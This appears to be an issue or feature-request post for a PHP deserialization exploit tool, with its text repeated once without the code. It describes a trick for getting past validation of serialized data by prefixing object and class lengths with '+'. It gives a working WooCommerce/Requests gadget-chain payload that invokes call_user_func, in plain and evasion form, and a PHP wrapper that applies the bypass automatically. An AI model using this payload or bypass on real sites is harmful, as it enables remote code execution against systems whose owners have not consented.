There is a trick which can be used to bypass some attempts to validate the serialised data given: Put a + before all integer values of Object and/or Classes (there might be also possible for integer and string, haven't checked).
For instance:
O:19:"WC_Log_Handler_File":1:{s:10:"*handles";C:33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}
would become
O:+19:"WC_Log_Handler_File":1:{s:10:"*handles";C:+33:"Requests_Utility_FilteredIterator":80:{x:i:0;a:1:{i:0;s:7:"phpinfo";};m:a:1:{s:11:"*callback";s:14:"call_user_func";}}}
So far I am using a wrapper as this is a very specific situation to bypass the check in place:
public function process_serialized($serialized) {
return preg_replace('/(C|O):(\d+):/', '$1:+$2:', $serialized);
}
However, it might be interesting to add it as an enhancement
There is a trick which can be used to bypass some attempts to validate the serialised data given: Put a
+before all integer values of Object and/or Classes (there might be also possible for integer and string, haven't checked).For instance:
would become
So far I am using a wrapper as this is a very specific situation to bypass the check in place:
However, it might be interesting to add it as an enhancement